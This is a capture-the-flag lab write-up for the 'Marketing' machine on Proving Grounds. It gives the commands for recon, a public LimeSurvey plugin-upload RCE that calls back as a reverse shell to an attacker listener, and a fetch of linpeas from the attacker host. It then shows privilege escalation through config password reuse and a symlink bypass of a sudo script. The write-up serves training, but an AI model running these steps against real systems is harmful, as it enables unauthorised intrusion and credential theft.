Skip to content
HackIndex.io

Marketing Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Marketing's main site hides a reference to a second virtual host running LimeSurvey 5.3.13 with default credentials, exploited through a public authenticated plugin-upload RCE for a www-data shell. A database password left in LimeSurvey's config is reused for a low-privileged user, whose narrow sudo rule can be abused through a symlink to leak a second user's credentials, who in turn has full sudo rights.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- --open $TARGET_IP -v 
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)
|_http-title: marketing.pg - Digital Marketing for you!

Add the hostname from the page title to /etc/hosts and fuzz the vhost for content.

┌──(kali㉿kali)-[~]
└─$ ffuf -k -c -w /opt/payloads/seclist/Discovery/Web-Content/big.txt -u http://marketing.pg/FUZZ 
assets      [Status: 301]
old         [Status: 301]
vendor      [Status: 301]
Explain command
-w Wordlist to fuzz paths with.

/old serves an earlier copy of the homepage. Its source reveals a second vhost referenced in a survey link.

┌──(kali㉿kali)-[~]
└─$ curl -s http://marketing.pg/old/ | grep -i survey 
<a href="//customers-survey.marketing.pg">here</a>

Add customers-survey.marketing.pg to /etc/hosts as well. It serves a LimeSurvey installation.

Enumeration

The LimeSurvey login accepts the default credentials admin:password, and the footer reports version 5.3.13, which has a known authenticated plugin-upload RCE.

Exploitation

LimeSurvey authenticated plugin RCE

Clone the public exploit and point it at the survey vhost with the default credentials and a listener port.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
listening on [any] $ATTACKER_PORT ...
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py http://customers-survey.marketing.pg admin password $ATTACKER_PORT

The exploit uploads a plugin containing a webshell, then triggers it for a reverse shell as www-data.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Config password reuse

Transfer and run linpeas to search for low-hanging fruit.

┌──(kali㉿kali)-[~]
└─$ wget http://$ATTACKER_IP/linpeas.sh
┌──(kali㉿kali)-[~]
└─$ bash linpeas.sh 
Searching passwords in config PHP files
'password' => '$LIMESURVEY_DB_PASSWORD'

The LimeSurvey config leaks a database password that turns out to be reused as the login for the system user t.miller.

┌──(kali㉿kali)-[~]
└─$ su t.miller 
Password:
t.miller@marketing:~$ id
uid=1000(t.miller) gid=1000(t.miller)

Check what t.miller can run with sudo.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User t.miller may run the following commands on marketing:
    (m.sander) /usr/bin/sync.sh

The script diffs a supplied file against m.sander's notes file and copies it over on a change, but blocks any path containing m.sander.

#!/bin/bash
if [ -z $1 ]; then
    echo "error: note missing"
    exit
fi
note=$1
if [[ "$note" =~ .*m.sander.* ]]; then
    echo "error: forbidden"
    exit
fi
difference=$(diff /home/m.sander/personal/notes.txt $note)
if [[ -z $difference ]]; then
    echo "no update"
    exit
fi
echo "Difference: $difference"
cp $note /home/m.sander/personal/notes.txt

The path filter is a naive regex, easy to bypass with a symlink whose own name doesn't contain the string. t.miller is in the mlocate group, which can read /var/lib/mlocate/mlocate.db to find filenames in m.sander's otherwise unlistable home directory.

┌──(kali㉿kali)-[~]
└─$ cat /var/lib/mlocate/mlocate.db | strings | grep personal -A 3 -B 3 
/home/m.sander/personal
creds-for-2022.txt
notes.txt

Symlink to the discovered credentials file under a harmless name, then run the sudo script against the symlink. The diff output leaks the file's contents.

┌──(kali㉿kali)-[~]
└─$ ln -sf /home/m.sander/personal/creds-for-2022.txt abc
┌──(kali㉿kali)-[~]
└─$ sudo -u m.sander /usr/bin/sync.sh abc 
Difference: 0a1,8
> github:
> m.sander - $MSANDER_PASSWORD
[+] Updated.

The leaked credentials log in as m.sander, who is in the sudo group.

┌──(kali㉿kali)-[~]
└─$ su m.sander 
Password:
m.sander@marketing:~$ sudo -s
# id
uid=0(root) gid=0(root) groups=0(root)

Related

File Upload Exploitation
Blog

File Upload Exploitation

Exploit insecure file upload endpoints to achieve RCE by bypassing extension filters, MIME validatio...
Virtual Host Enumeration
Blog

Virtual Host Enumeration

Discover hidden virtual hosts on web servers by fuzzing Host headers, identifying subdomains and con...
Credential Reuse for Lateral Movement on Linux
Blog

Credential Reuse for Lateral Movement on Linux

Techniques for exploiting reused credentials across Linux systems to move laterally, covering SSH, s...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...